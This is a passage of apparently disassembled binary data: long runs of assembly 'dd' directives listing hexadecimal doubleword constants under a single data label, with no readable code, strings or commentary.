50CCBD41h, 0C95AC0h, 0C3126FEDh, 0FEE09946h dd 1548A060h, 552924h, 0D1A8979Eh, 9967A4Eh, 82567B00h dd 0FFEA202Bh, 0A0355E14h, 8E007292h, 18B9D232h, 3D2384h dd 49C9A85Eh, 43119A2h, 55A57207h, 9CF0DEEAh, 763F0Bh dd 0EDCD16BDh, 0F7A82F44h, 1A196E00h, 34319168h, 0BDA60736h dd 30D3C441h, 2351F37Ah, 0F63721Ch, 984AF640h, 99A92Ah dd 3590B17Eh, 0ACE07F3Ah, 68E24D1Dh, 857850C0h, 0B026862Ch dd 764C1CFCh, 53730131h, 51CD1228h, 0C40736D8h, 0AF0C4F0Eh dd 19D656B9h, 88280011h, 0EF4C0DE2h, 2D73D06Dh, 0DE9B58h dd 5F0C6690h, 2C2CED8h, 0F453DC5Dh, 89C311A7h, 23B71100h dd 0D8EB2151h, 0C3300003h, 19473B5Ah, 0C700C8F0h, 2C6E146Ah dd 4CD92h, 5722171Ah, 0A7384EDEh, 0D2007C90h, 30534A93h dd 0A878919Dh, 99E5F4E0h, 0B62B00A4h, 0E24A24DEh, 4001C90h dd 5A97ACD2h, 586655h, 955D298Fh, 826C4F87h, 7CF49F24h dd 0BC404C00h, 21CDDE9h, 0D7FD02Bh, 0FCC0F318h, 0EC002272h dd 4D6BD823h, 0EAAF0129h, 902A0034h, 738C4785h, 7600D019h dd 14D715D4h, 35D692Dh, 0BC085A26h, 0D6804CDCh, 8601222Eh dd 1E8CA0E7h, 0DDC3352h, 931400F3h, 0C850B559h, 0D6004BC4h dd 812CC908h, 0D11E67h, 0ADE7E5B9h, 0DD86443h, 97006EEEh dd 0B1D9DCD6h, 0FF4EB0h, 0B6C24AD0h, 3FE5AC09h, 0A2B28400h dd 0F8889452h, 506B12F1h, 800A1C0Fh, 0B096B6C8h, 0D63E0DEAh dd 0F6048023h, 45D32E98h, 0E9A413A2h, 58260018h, 9624C75Bh dd 0E0271D00h, 0E726C5FCh, 0E6460059h, 0B2F3C4A4h, 0AA000256h dd 8507895Fh, 992026h, 63415991h, 86773213h, 0BDDAC807h dd 0D7206C97h, 6D63F8Ch, 1B01B953h, 57EA8E06h, 0F15A500h dd 0FE85E52Ah, 190C0067h, 89067A52h, 0DC0059DBh, 4E72C523h dd 0B042B1h, 8B21F278h, 0FF1B70A5h, 2FA70D00h, 3EF8D52Ch dd 8262132Bh, 5FF0010h, 0A51E58B6h, 0BC21D300h, 6DC1FCD8h dd 8638018Ch, 0C4F80C9h, 48E760DFh, 3F79907Dh, 3D993200h dd 0E3F0F3FFh, 5CF0B0h, 4ED5F743h, 0CBFC5705h, 67F1C000h dd 786C5A59h, 0ABC60735h, 0A7B8297Ah, 0F076702Bh, 0D6033AFEh dd 31383948h, 8828AB20h, 3B09BADBh, 418061DAh, 8E95A23Fh dd 2B00B263h, 4FD4EF74h, 56ECF2h, 6E8A70F4h, 1EC1FB35h dd 59CC4000h, 5C2A1DAAh, 649700A4h, 1117C4C3h, 34767309h dd 0FC0E25F8h, 0C02202ABh, 665B39B0h, 4EC63D6Bh, 0E8EABD00h dd 62B16C63h, 0D141FE0Bh, 4FC18753h, 8319F370h, 43EB002Eh dd 0F2D54450h, 800974Ah, 693155B6h, 3D308F98h, 3C802CE8h dd 71D07CAAh, 2600E781h, 0B6ED7046h, 951F1Ch, 18F20590h dd 0BF968F9Eh, 0E74F4D00h, 0DE716942h, 0CA4C00A7h, 0FF2280D5h dd 0D3E81112h, 0EC21D200h, 9D636A38h, 795000ACh, 0BB0B2D58h dd 9900F974h, 3FF19F41h, 0FE9EB5Ch, 8C084580h, 6C2AADE0h dd 0D800761Ch, 610398FAh, 0C07EFB88h, 7A1F0A78h, 5F0056E1h dd 4735E814h, 397BCBh, 0D540A270h, 0C305CF53h, 3D97130Ch dd 2FD854h, 0D33E7964h, 0A11444B1h, 59E5B007h, 80696BD9h dd 0EBFEAEACh, 0FA8D004Eh, 9C83B65h, 0A51C6160h, 6C8001B3h dd 94A21292h, 8A5E003Fh, 0E267AFBBh, 3975C1C3h, 0E8A7F800h dd 0EFF061F6h, 9B1E0173h, 44E6188Ah, 0CE8970BBh, 49BEAF00h dd 7D8CB82Bh, 0AA93F86h, 0CA89DD80h, 3EE8C061h, 0F4EC840Bh dd 45460007h, 0EBD440h, 0CEDC890Dh, 1E86AAACh, 0B423100h dd 0A2DFE7C6h, 0AF560075h, 37B803ABh, 8E0E3A2Ch, 0C0A96A07h dd 6FFFA7FCh, 6D57005Dh, 5E265A9Eh, 2D0079D0h, 8BD4AF44h dd 1BEDF8h, 6A8F6265h, 0A9B7F4BBh, 7EB8A700h, 0B16B1C0Fh dd 0FC3D4802h, 62B22A73h, 0AE7D12A8h, 5EC4034Eh, 84D78873h dd 0B3A480C9h, 0BF00E843h, 0C655C1B1h, 0C05D7872h, 0CD664240h dd 0D70768D5h, 0FF0D0285h, 0DD5B9500h, 0CA3E003Dh, 98C08FABh dd 0FE0F041Ch, 0CE0E88h, 0A39E050Ah, 4DAD2801h, 93852CE0h dd 7CBB0061h, 41804644h, 0C0C3DC00h, 109105D2h, 0FABAE0CAh dd 0DDFF30F3h, 1FD79018h, 3A8AD00h, 0D46AC1D6h, 0AA48003Eh dd 612B28E9h, 89FA7E87h, 7B02F112h, 1E1BDD00h, 3688DB4h dd 814ADDE4h, 1FF83706h, 0F50A281Ch, 0DCE90B57h, 98009513h dd 0A0AC7FFFh, 0CE2C18BAh, 0B5BFF9D5h, 9BE5D700h, 8E22F903h dd 9280199h, 96AD4F88h, 0E60FCC12h, 8134AF01h, 51F49211h dd 944BE30h, 0BCEA2DC5h, 21AB1780h, 43136935h, 98001B03h dd 0A1D84F05h, 0C16F008Bh, 6B86EB4Dh, 250FEE09h, 20595EC8h dd 0F2DD1439h, 4D52007Dh, 5751A4FAh, 5072E7Ah, 2CCAF612h dd 821831C0h, 2C9B4C8Ch, 79B87Bh, 30572D2Fh, 43A1B43Bh dd 0E6C43900h, 0C6534534h, 9B8A1D61h, 0BA5AC749h, 8029D75Bh dd 0FD2A8F69h, 2C2BEA00h, 83B36FCAh, 804D00CDh, 59F661BDh dd 0E200F2A0h, 198C8556h, 0F5B2286h, 0D353664Dh, 0B303D1E3h dd 2E3D01A0h, 79981300h, 1D9E5FA9h, 905600D6h, 76DBF0E4h dd 6D00A653h, 8E02DF4Eh, 0F14335h, 278DCB30h, 78954568h dd 0F7FFC0A0h, 0DA1F6500h, 0C9623B40h, 126A16C4h, 0ED6420CBh dd 0EE13277Dh, 0A440437Ah, 4282313h, 1CABFC8Bh, 406B1BB6h dd 16A9F4E1h, 0C0A01543h, 0B7000945h, 0E2A7CB8h, 24010DB0h dd 338D517h, 2DF2A7E7h, 3D1F9FE0h, 0BC9258h, 37F32CDAh dd 8043A2h, 0FD470DD9h, 0D027D3DCh, 69F8B112h, 0DD843000h dd 0B51621Eh, 12948D9Bh, 0C1406800h, 9500A9FAh, 6EBAB2FDh dd 0E27A3Eh, 0DF55F2ADh, 0FF852E1Ah, 4E7DC800h, 96D14CF5h dd 885C003Dh, 0C26414C4h, 0BB00D36Eh, 0EB6F799Ch, 111AFE8h dd 8DBCDD1h, 0C4A2483Bh, 0A706457Bh, 8A3AF890h, 0FFC40090h dd 0B3B5F84h, 3DFCBB89h, 7E4A0C00h, 0CDACF345h, 2CB78C4h dd 0EDFA089Ah, 688424h, 71887B5Fh, 3EA10FEAh, 9E20190Eh dd 48C64325h, 0E4889F54h, 0F3FAFCE8h, 0CD54D400h, 4B699462h dd 20346235h, 84E0A523h, 0EA074049h, 68BEC5CEh, 4C47C0B0h dd 350E3130h, 60CB7E28h dword_555548 dd 0D6260418h, 50001870h, 0B5E70F31h, 0AA76EEh, 0ECF9332Ah dd 0AFFCDF65h, 7D4F1C2Eh, 5CC8E500h, 3EB3F254h, 0F500F90Fh dd 0CC14E9B0h, 0E700426Fh, 0A19E4C78h, 2F8DFCA8h, 0C7800E09h dd 3360AE61h, 7FEE3CB2h, 628CE700h, 0A6DBC44Bh, 55D200E0h dd 275045E6h, 0DF3A25FBh, 0A4AFBF54h, 0C80DC47h, 0F5767CEDh dd 93EC007Dh, 0CCABA631h, 6560613Ch, 961EA3EEh, 7A660544h dd 803AF4E0h, 0FD243027h, 1642A600h, 9BA78132h, 0B1EF6C2h dd 400F70DEh, 849C1289h, 0F222A01Dh, 0F8F49400h, 8ED785h dd 8D3F86E4h, 33D4301h, 11845F16h, 0FDBB6800h, 1C947C21h dd 0C0CFA9C4h, 22F86EE0h, 36008791h, 6B69C386h, 1DC9E130h dd 80E26F28h, 740FC4DBh, 51039C1Eh, 0E4419FFBh, 5280016Eh dd 952F388Dh, 64AA20A0h, 0D60C7F00h, 68DDCC06h, 0B573009Ch dd 0DB63B053h, 18B838C7h, 0E47EAD00h, 0F1AC06FCh, 6BB43022h dd 6D8CFB40h, 9690670Fh, 0E59BA00Ah, 0CFAA6Ah, 97CD1BC0h dd 6E9FAB74h, 0BEA3FE0Eh, 1800D2A0h, 4498D58Fh, 9DC00029h dd 2EDDCE76h, 0A918495Fh, 5EFA5AFBh, 27E431h, 0F1112084h dd 0A8430632h, 0D7F85600h, 2EC81D7Fh, 121B0188h, 1163A6A4h dd 521C30AAh, 742468B0h, 54009EB0h, 7C2FA4EDh, 0FF6107DDh dd 505FE18Ah, 9FB297B4h, 693CF512h, 391B9840h, 869A81h dd 7A7E0514h, 0A795F772h, 7909113Bh, 29B7100h, 5505F06Bh dd 357FD6h, 986F537h, 0EF622E51h, 0CFCC3E00h, 170F25CDh dd 165C981Ah, 0DB9561h, 15E3D11Ch, 19725142h, 66261D07h dd 0D03A54CAh, 0AE9B800h, 24EDF25Ch, 93B04958h, 130509B5h dd 0C5207C80h, 9BFEF976h, 0B9BBD000h, 91BECF27h, 4570126Fh dd 0C2480A2h, 0D301AA8Dh, 88240F1h, 1EF89635h, 0F5790075h dd 9AFA3E09h, 0EB0087F8h, 0E2B90D5Ah, 0E47A4A4Fh, 3468008Eh dd 9EBB8CEAh, 6E308DF1h, 0ED432C90h, 0DA440019h, 51C170F7h dd 4900FC77h, 593F63CBh, 98CDA9h, 0E9BC3B20h, 5626D0F7h dd 8077D73Ch, 6006E0DCh, 1F7A2EABh, 40928B76h, 486CA003h dd 0D2007BD0h, 8F0B8026h, 28CD96A8h, 3CC5FE4h, 0E8749D7Ch dd 88E5A95Dh, 0A70F86A0h, 4F3B3CCh, 8D87B905h, 0D0F53980h dd 5110C004h, 0D2F4358Bh, 74BB0A12h, 0ED400D00h, 17771457h dd 40912617h, 44FE3B4h, 78F05C22h, 9D739939h, 0FC1DC90Eh dd 1093DD06h, 95C1028h, 9DE18803h, 5E71D91h, 3A5DC08h dd 90C01610h, 0DADD6100h, 6A14AC62h, 464A0064h, 9DCF1E08h dd 70F27EFCh, 2AF3EC2Ch, 0B5D37B00h, 50163069h, 3CB45021h dd 5C00EFBEh, 14C193E5h, 87F78ED3h, 36BB0828h, 0A0E1B8B2h dd 1256BC98h, 0D8C0DC78h, 0EE3A014h, 51DC0410h, 0D0241C87h dd 9BC1AB97h, 0F2184500h, 0FDE24DE0h, 2DFE0069h, 0A4B6E955h dd 16034A96h, 4EDE269Dh, 6C60F7ABh, 0D286Fh, 2C9A9EC3h dd 0FA812210h, 0B00CE7Ah, 997D941Dh, 0B19B17h, 0D7C4FEF2h dd 8ED2073Dh, 0C6183200h, 2D60C377h, 0E1F80059h, 0D814D6BAh dd 3EEA15DEh, 0BF721601h, 1BB5C133h, 0B58D024h, 0F9D09546h dd 0A5350D80h, 0F20063E5h, 0A4B1CA7Fh, 72D992C0h, 7C4924EAh dd 0BF360007h, 82BF2AEh, 9DDD880Fh, 39BE1FAh, 3DE05135h dd 0DA07004Ch, 79A18BEFh, 0E5002E58h, 0AE7C48D9h, 10F089Dh dd 0B4DDB6Ch, 0C0B1EA66h, 0FE002B25h, 719E2333h, 2EA2BFh dd 39507D5Dh, 99A56B3Ah, 0E66E3205h, 6FC038CFh, 30E5FFBh dd 44D2C464h, 0BD03D87h, 31E08B50h, 4C223C04h, 0EF850A88h dd 6D00661Eh, 527F9AB3h, 2B8E12BEh, 404515Ch, 0B72445BCh dd 2F0E10EDh, 0F9B5E027h, 3BC49EDBh, 38BB30C5h, 4391EA1Fh dd 4DEB5A74h, 904B13D9h, 0A884FA29h, 54D844A4h, 4859A744h dd 0A1DD42C6h, 22571C22h, 0E2245BC1h, 40113F22h, 10B32842h dd 438ACAAEh, 0A4292827h, 42CB2228h, 5E148A50h, 0A308FD44h dd 22718228h, 0B721C9D6h, 0C01E562h, 58BD005Bh, 0BEAD00DEh dd 0BC57305Ah, 0FB00E452h, 0A4355568h, 74EAAAAFh, 77A800F9h dd 20EE8AA7h, 0E717E288h, 4100BC58h, 91D8B727h, 0B30AC025h dd 88C94028h, 5CC6E500h, 0CD18D5DDh, 1FCC2EC2h, 19A900FEh dd 0DA13E7D4h, 0D0A43Ah, 9F9B8E30h, 0AC5327h, 6D95991Bh dd 0AAA7EDD7h, 0D6BD2100h, 92AD1E29h, 523617D0h, 75CE0733h dd 6F05D051h, 0E4002F3Ch, 70BAAFCAh, 39E28A3h, 0ED71F492h dd 0A9F8B31Bh, 0B4000A47h, 3C8B7AA7h, 779BB5h, 8FD8F609h dd 68878E5Bh, 8B0BD038h, 8085F089h, 1E16C015h, 0BCF6AFh dd 51CDAA47h, 6BC895A3h, 0E256D100h, 0E58B74C1h, 0CCD45DB9h dd 0B7AC1901h, 0EC01DEFCh, 0A500311Fh, 0E8C57849h, 3B90B5C9h dd 8D8FC7C0h, 98A71A5Fh, 0F9006908h, 4DE44564h, 116BC130h dd 137F91h, 3DCC4051h, 0E714CA23h, 0F9C21D00h, 0FB50EFF4h dd 5A746AEEh, 84F5807Ch, 52F94CA9h, 788E420Eh, 0EBB7A040h dd 49545Fh, 1A8A94A4h, 2A42DFA5h, 0D01CED14h, 783500D9h dd 627D8869h, 0B3AF023Eh, 0A207DC37h, 0C75648E0h, 94F64200h dd 0C1BBD610h, 0D4BE00D9h, 0D187D304h, 8100CC05h, 1B8C97DAh dd 578392h, 59FD376Eh, 0D75ED4C4h, 6DEB0600h, 0A89623E1h dd 0B04A0447h, 80C5E751h, 0BB1A817Eh, 539BB713h, 91F85B00h dd 109AE1h, 76F19385h, 0F306C70h, 0B708E900h, 0BFCD608Dh dd 0FD17995h, 832A52E6h, 0CAE702A0h, 91074859h, 64FEEDBh dd 6EFE7B80h, 54BC005Eh, 6ADC5C4Bh, 0B648930Ch, 0EEE40088h dd 43198925h, 2ECF00F9h, 0E370602Bh, 5E00F026h, 9BEA9C2Ah dd 26563F75h, 1309AF9h, 1383F392h, 0B3FFF438h, 5DB4DE0Fh dd 0A25060A3h, 0E4861F3Ch, 0A13D3F91h, 52007C38h, 884EB131h dd 33E83D7h, 0DD5C6Dh, 0B5563A66h, 7DA77F04h, 0ECBF0020h dd 5706475Fh, 500E772h, 2E5D9F0Ah, 3C3645ABh, 0E3804C14h dd 48C0CC6Ah, 0D8020C4Ah, 0FDDEA494h, 0D7F9C021h, 6E580943h dd 8003EC09h, 0F3E0601Fh, 0DB003701h, 0CAFAA722h, 5C406587h dd 95008BE4h, 3FB043B2h, 8F09D44Ah, 40A782E5h, 5826C0h dd 8D10EF3Bh, 4DDAA061h, 0F91D23Bh, 606E866Dh, 870EDBCEh dd 0FB820017h, 0C41CA55Bh, 77008ADEh, 0FF28126Dh, 702BB964h dd 0BED8005Ah, 3185B849h, 10C70B6Eh, 0EAE0ED4Dh, 90A0B6DEh dd 57FE006Bh, 524F7A44h, 5E001702h, 0B3A7815Dh, 7DE471h dd 0F70A79EFh, 0CCDF82E2h, 8A2E5F0Fh, 716440ADh, 67903542h dd 408BC069h, 6D65BCFh, 0CCA10900h, 0D055D51Eh, 8EDE0015h dd 5FDB1786h, 2C01031Fh, 16B75CFEh, 1EE844F4h, 0B0630053h dd 0ED429541h, 48FE187Fh, 477B5B7Bh, 9F3CEB00h, 3528239Eh dd 0C776EA87h, 1044BDD0h, 0F1C5A4DBh, 9FF7A600h, 9EAD43C0h dd 0CCAF008Eh, 2679E38Ch, 2C0083A4h, 5E4C5DB1h, 1B81FEFh dd 0B352B7CAh, 0F0BED429h, 0AD3913B6h, 18D70058h, 5794EA8Dh dd 0B94E00D0h, 60F278C6h, 9C1C3896h, 971F0E65h, 7D4C3040h dd 1F98DFEBh, 0C03AE49Fh, 91F5481Ch, 0CA011E43h, 737DC65Bh dd 0B1FC95C7h, 9BE11C66h, 0E048787h, 25202041h, 70BC48Ch dd 54938F14h, 0A5450FABh, 2BC54703h, 889A8800h, 2B64EFEh dd 95F600A0h, 0C2523F50h, 73000549h, 0A4787C21h, 16131DB1h dd 6A0806h, 37EBA62Eh, 0E21C1AF0h, 3C400A58h, 83D2B213h dd 0CD40006Ah, 3D9861F6h, 1B00FB04h, 4490C043h, 3FE2FA0Ch dd 55028123h, 9C6F71C4h dd 972ECC40h, 0F465433Fh, 2AAFEB00h, 0E0675169h, 0AEFE0C9Ch dd 0D120C12Bh, 21A2B407h, 8D131D0Fh, 3AFBB8D2h, 0AB402E2Dh dd 0AE9800BBh, 6B7813B3h, 0E700CC90h, 3B59B02Bh, 0FA1DC2h dd 937EAC72h, 69D5650Eh, 63433500h, 97C84B6h, 9A27039Bh dd 9E462014h, 0F1AB89A0h, 83D80D3Dh, 0D034C721h, 0FFF7A0E1h dd 3C7B00ECh, 0FB6ECE36h, 674CED41h, 7A9C007Dh, 0F502A9B4h dd 3A1C003Bh, 0D30B91ACh, 42022127h, 0BA7ECA76h, 8450FFh dd 0E8772352h, 0A73FA680h, 0D6E5F700h, 74AAB595h, 20F3002Dh dd 710B3B2Ah, 83071A1Bh, 0E0A4B6FEh, 0C1F9B2D0h, 15F11E67h dd 0FB0E0537h, 60D80BFh, 7F287681h, 1600B094h, 0E4EAAB64h dd 0EE1A86A7h, 0B71705Fh, 3C450292h, 0F0FE3807h, 0C446F0C8h dd 8C477E0Eh, 0F44440D9h, 7C7DDE84h, 83B7004Eh, 0D39903B3h dd 8B00715Bh, 3948C205h, 1B11AA7h, 25F98411h, 0F08382B9h dd 7E0FB37Dh, 0C0B86979h, 5FCD67E0h, 4BF23Bh, 0CB299640h dd 0D8501527h, 0A442EF00h, 0C50B8281h, 8D59009Ch, 1CDF5DD0h dd 300060CFh, 0EF1B13FFh, 3C85Fh, 22F7E625h, 0B8B43961h dd 0F6A16607h, 0C04F9746h, 6A98DD95h, 24CC00EDh, 0B22968BEh dd 0E013150Dh, 30006403h, 4AA5DF1Bh, 2578C6h, 0A43DDC71h dd 94D0C044h, 0D5171900h, 0B30F4EA1h, 1E86E6DBh, 0DC3DE687h dd 302056CEh, 0B12F9CA4h, 504C3AFCh, 0FBF10130h, 7222AF93h dd 0E3B430h, 2BACC230h, 59B4A220h, 0C82BC0Eh, 98E22039h dd 7F2C1302h, 9D3D2C11h, 0BB940050h, 9C84BF74h, 0CC225800h dd 8569216Fh, 0F21D0212h, 0D9FA3B4Ah, 3C604340h, 73BB7C04h dd 0C0C5250Dh, 0E02E2300h, 1268EA9Bh, 1D957912h, 2734004h dd 7F1BBE91h, 35583100h, 0D14E22C2h, 0CDC31623h, 0A390000Dh dd 82FD5E21h, 31B60903h, 8254E7C8h, 1972C081h, 0BBED029Eh dd 2D8426D7h, 3E83B440h, 5C587320h, 8D00B7CFh, 5E6ACECDh dd 0C055F19h, 8FD31375h, 81573480h, 92300040h, 792F9F72h dd 90006735h, 37BACF80h, 5A7BD3h, 0EAF712D0h, 890AE504h dd 0D6F63F0Eh, 0FE9381E9h, 78386FDCh, 81B3640Fh, 0D860BBEEh dd 15BFF320h, 580420B8h, 2D65DDF6h, 486F4880h, 87D9035Ah dd 7ECB5403h, 0DBC1A380h, 0FA2B5802h, 0C06778D6h, 62E295h dd 95973915h, 314DDB2Eh, 18428800h, 890E792Bh, 0BCF2049Eh dd 80C9C4D6h, 6226ACAFh, 491BBF07h, 216CAC8h, 7A570041h dd 0E1A73A2Ah, 600E8D6h, 0CF85FBBBh, 4E5C76h, 0A53C618Bh dd 599E09F6h, 2D736800h, 993ADF45h, 0B36C00A0h, 5146AF10h dd 1B07F1A3h, 12089BE7h, 808EFDE2h, 23984EECh, 11C7405h dd 0D2444CCBh, 0FC020736h, 49002BDFh, 770520EAh, 0C383CEh dd 0AD7DBDAEh, 0D7DBC472h, 0A611E00h, 0EC270B5h, 58B10053h dd 0C720A6D2h, 0DA90104Ah, 1F14EF0Fh, 0A37427AFh, 0B940E8B7h dd 4E1BC0h, 0B8EC05E9h, 15CE50DFh, 0A579B700h, 0CB71035Fh dd 809F0133h, 58B29C7Ch, 24183C56h, 0C06090C4h, 36BAAF1h dd 67014D79h, 0FAA03A81h, 5E00B6D4h, 846EBEBFh, 0E6DB5B93h dd 0C991149Bh, 2900ABA7h, 0D8E57AC4h, 36002180h, 6BF6DD8Eh dd 0B911F7h, 6D966E8Fh, 4AF90EE2h, 0A0D5DC00h, 2A1B3D8Dh dd 34D98ADh, 0B570138Ah, 9800957Ah, 8D23D711h, 0D3BE1F6Dh dd 0DF03FE08h, 0A13524B7h, 2084D112h, 0C70DC964h, 512D8068h dd 10187761h, 0B9286570h, 0BA750713h, 0E0D062F3h, 3B698372h dd 187CD81Fh, 6B05F600h, 5312B0h, 4936CB9Bh, 0C60C8FFh dd 0ED72BB00h, 40893F1Eh, 8820F973h, 11AA24E5h, 9E1F0578h dd 0F158D09Fh, 8709A8CCh, 60F79CECh, 0C08B210h, 41915B10h dd 0C6004E10h, 2435416h, 476476h, 0B69D8CA7h, 0F7DA3F61h dd 5C009B98h, 0A0259143h, 793986Fh, 6B142365h, 0D6C60107h dd 9FA3E062h, 0B5F2D04h, 0ABC0A2F6h, 3A3D40h, 9D847917h dd 2B96AC31h, 0CFAA5400h, 18C5F259h, 16290024h, 0DDB03C51h dd 51B08DB7h, 0ABE0507h, 3191E646h, 0D1F99343h, 321DC840h dd 942220EEh, 0A98FA928h, 0EA0FA48h, 8291AA44h, 0C932FC2Eh dd 208069FCh, 0D5B5E3C5h, 9002C834h, 3AB9ECA9h, 0F16C6938h dd 0A41D170h, 7CFEC57Bh, 81003DC8h, 4C894E50h, 0CC028CE7h dd 0F93CEC6Ch, 0E6E7406Dh, 75840167h, 5843BD64h, 0D205FC29h dd 0A9E52500h, 0EBBAA796h, 0B29F16D4h, 9C5C0401h, 0DB688056h dd 102CEF64h, 5C01346Ah, 6327C38Fh, 4330D09Eh, 0D7205E83h dd 0FE460A5h, 8C00AD2Eh, 405ECE80h, 294B0h, 0C992C32Ah dd 0ED06D7B2h, 7ADBA0C3h, 52CB9855h, 7D2698B8h, 3E75B4h dd 7BE2400Fh, 0BB587012h, 0B08C4500h, 0A342B3DEh, 646639F3h dd 2F30E180h, 0F48AF888h, 9C62F9h, 47B1713Bh, 2AB5DEBh dd 0C10AA841h, 0F0C8818Bh, 48583C1Dh, 2F1E162Ch, 0EE18618h dd 45761C77h, 8D80FEC2h, 4771490Ah, 19007BC0h, 63210B68h dd 2953145h, 7D6C80C2h, 37C06DA0h, 0DF04941Bh, 33754A1Fh dd 0F18E80AEh, 4098D418h, 538A8710h, 720BE058h, 94A79747h dd 0ADE8B2DBh, 176BA0AAh, 0D320F00Ah, 0FD00C874h, 0A2992FA5h dd 0A0BB804Dh, 3960DFCCh, 64005383h, 321011B7h, 0B92C894Fh dd 4D007514h, 721FC278h, 0AC01185Dh, 80FE3921h, 48816B00h dd 0C217ED2Bh, 575000C8h, 0E399D19Bh, 0A2EE7907h, 0AD823106h dd 2870E7h, 6B4978A4h, 1DD6F48Fh, 9865A72Ah, 2FC3E813h dd 235700C0h, 3C08034Eh, 716729AAh, 0C19D000h, 0C1940A1Ah dd 4D5A39C5h, 10DC6F3Ah, 92E416h, 52014768h, 6400110Ah dd 639B6678h, 756E9786h, 0E4730065h, 0E517A77Fh, 0D70F416Fh dd 815A0A2Eh, 1F75D83Fh, 20E0470h, 0D2778809h, 47081E1h dd 0D7030A90h, 1F55C147h, 43AFB078h, 0A19B3D67h, 0AA172393h dd 0AECE4200h, 0ED4B02h, 0FA9008BEh, 71A74493h, 5099707h dd 21708681h, 58256F9Ch, 731F5C56h, 0F9287D31h, 0CB2A0084h dd 3E679A7h, 0D6008BF4h, 746BA5CCh, 30BAFBF8h, 2520C4D7h dd 0E4E76619h, 0A9076981h, 48A27065h, 0D1168480h, 1D6E0E6Bh dd 0E4BDDD9Fh, 662B041Ch, 48205604h, 770BBFFh, 0E961B7EAh dd 0B4DF5041h, 0AD0ED8E2h, 938CBE97h, 59059801h, 6C79DB06h dd 0C457CC0Bh, 0B2355460h, 0AC414Dh, 901AC36Eh, 1F3444DAh dd 0DB8BA4h, 2C86274h, 0A0066D2h, 0F824ED21h, 3552EBEh dd 0BA672813h, 47A0342Fh, 1700F274h, 18EE6DA1h, 0A3EF3h dd 0FFEBF528h, 9676D695h, 13006173h, 65871B29h, 0A0828A54h dd 1038FFACh, 25F58E8h, 0F77C8EFBh, 30060102h, 0E00470C8h dd 1C01FCB0h, 4A4EDEEAh, 1C037E5h, 3A14B8A2h, 3875EDFFh dd 0C78095A6h, 0C2E3AB54h, 8306F885h, 56A15A0Fh, 0C040285Eh dd 0D3CF00ACh, 9C3B598Bh, 0E0B2F5C8h, 69CA0C0Ah, 0D8075C28h dd 0DB70E36Bh, 28464CABh, 3BB4B575h, 1501C7D9h, 9412DF5Bh dd 5587D3Ch, 40042E5Dh, 7A0BC9C0h, 0A2FA2D13h, 0E37D004h dd 0F1FD20F9h, 2E33A147h, 8810BDF4h, 8138D871h, 4D0ABC56h dd 0EC2C6450h, 0D93AAC00h, 0C112FF0Eh, 71FB8900h, 4DFC6FEAh dd 28F92E52h, 64870060h, 0AEFF2059h, 1C46F000h, 49158BDFh dd 6AD8906Fh, 24F096h, 0B93CDA81h, 0CB00DE69h, 0C3BBDCF1h dd 668EE35h, 0E15ECF03h, 81E09027h, 0D3A82418h, 905AA11h dd 5962A02Dh, 3C0AA041h, 0FE240018h, 4FF2977Eh, 84DF3806h dd 0C139109Fh, 5C7636A3h dd 0A0EC6433h, 6E04740Bh, 217422AAh, 7918C0F5h, 798371B3h dd 6A290067h, 34D7A2A7h, 2A001F81h, 18DC9B61h, 28B2717h dd 707AE3ACh, 9E80076Ch, 14CE01C2h, 0C49B3000h, 0A01C1343h dd 23980028h, 3782DCD9h, 44000CB7h, 0EE12EBDh, 2E0E7A8h dd 6E1D1BF8h, 53C3AD69h, 0B4A428A8h, 145C81E2h, 59E204CFh dd 78804D4Fh, 0C2A0B10h, 6690E9EBh, 76165F10h, 51FC1501h dd 8C5A1C01h, 0E496EE4Fh, 8E3FD2C0h, 80C7B817h, 574D3B53h dd 3D2B294Ch, 1B80800Dh, 0ABAF1C5Eh, 0ED0034E4h, 0FD8DFCE0h dd 121F4CF9h, 0A0B671DFh, 0C90B44CCh, 873DD7B1h, 0DB8079A2h dd 0E02D7Fh, 970CDCD2h, 0A711C272h, 1F09983Eh, 0F7C3D6B2h dd 0B13A7EBAh, 7FEC2FC6h, 636000B0h, 4C9E6FF9h, 2001C940h dd 65DAEC3h, 842426ADh, 58BE002Ah, 7CEF5F95h, 4F038A19h dd 0E09D60E7h, 0C3CCDA68h, 0C64C0082h, 297A0850h, 101C4E9h dd 9E28D436h, 2870B277h, 0C080ED8Fh, 58D88B97h, 6A00DC4Fh dd 47ABC4B7h, 2E6F0ACCh, 7C405B9h, 0E0A315D3h, 72240E9Bh dd 2B0F8C00h, 0F3048E19h, 0AE010E4Eh, 697EFF7h, 586257BBh dd 0C26521h, 47BE70E3h, 2F7D9C30h, 37153B00h, 4093FFA3h dd 0FC360727h, 9089AB13h, 4D869C4Bh, 0D0EC9600h, 3C6A11BFh dd 0BECF0037h, 915325AEh, 390052C1h, 0DB905BECh, 1E89310h dd 0B4ABCEE6h, 80ED3C87h, 0C2B23A10h, 2E6633h, 0BF9B5A44h dd 0F6CC7FD7h, 4B3BA300h, 8CB1C71Bh, 0C1702Ch, 9A04E103h dd 0D7D02BEh, 0CBD24200h, 0F741E579h, 6B9B002Ch, 90C8352Eh dd 9107570Ch, 0EA67C42Ah, 0A302F430h, 8824071Dh, 0F0CE341Ch dd 982F939Eh, 802A223Fh, 991086F3h, 3B3DCF0h, 0B6C4C9A7h dd 2AB89CE3h, 9D3AB59Fh, 8639BC8Ch, 0D0C759F1h, 0FA4913F4h dd 1D8F00D3h, 0F7BF9783h, 2ACCDF00h, 9DC7BAC8h, 0DDFE0F43h dd 0C141FD7Ch, 340BEE23h, 4EF6A37Ch, 0C4495500h, 0A461E4CAh dd 7EB70963h, 2003916h, 8D198310h, 0DE5B7100h, 863714CFh dd 3EEE058h, 0AA7BE384h, 5177B096h, 0FD598A1Fh, 60C23A00h dd 72D347E7h, 83E43F86h, 0B28097h, 0FED95A3Dh, 980074ACh dd 364A6AAEh, 74782E2Dh, 30D826B1h, 0EE8D00A9h, 0E1DEE804h dd 0EF150D00h, 938106B9h, 521900F9h, 26FEA0E6h, 111FA584h dd 0FC405D83h, 0F486DEDCh, 0C39D004Bh, 57DA92E9h, 67002418h dd 1A2797FEh, 13213ABh, 283F1420h, 0D6959285h, 91ECB0C0h dd 8FCED438h, 81800Bh, 38C4DB23h, 9A85000Ah, 0CAD13BDFh dd 0C73C20FFh, 1A1E9E25h, 1276C9C1h, 1C328F2Eh, 0B7FB6002h dd 2CC0D707h, 1B0018C9h, 308D8A56h, 0F522350h, 0B7C4FAEAh dd 0AE84036h, 0C39FFB42h, 7581B101h, 1EBCAA3Ah, 0AEF7D8h dd 11F270CEh, 0F8CB5A0Bh, 3D0B000h, 3C326CDEh, 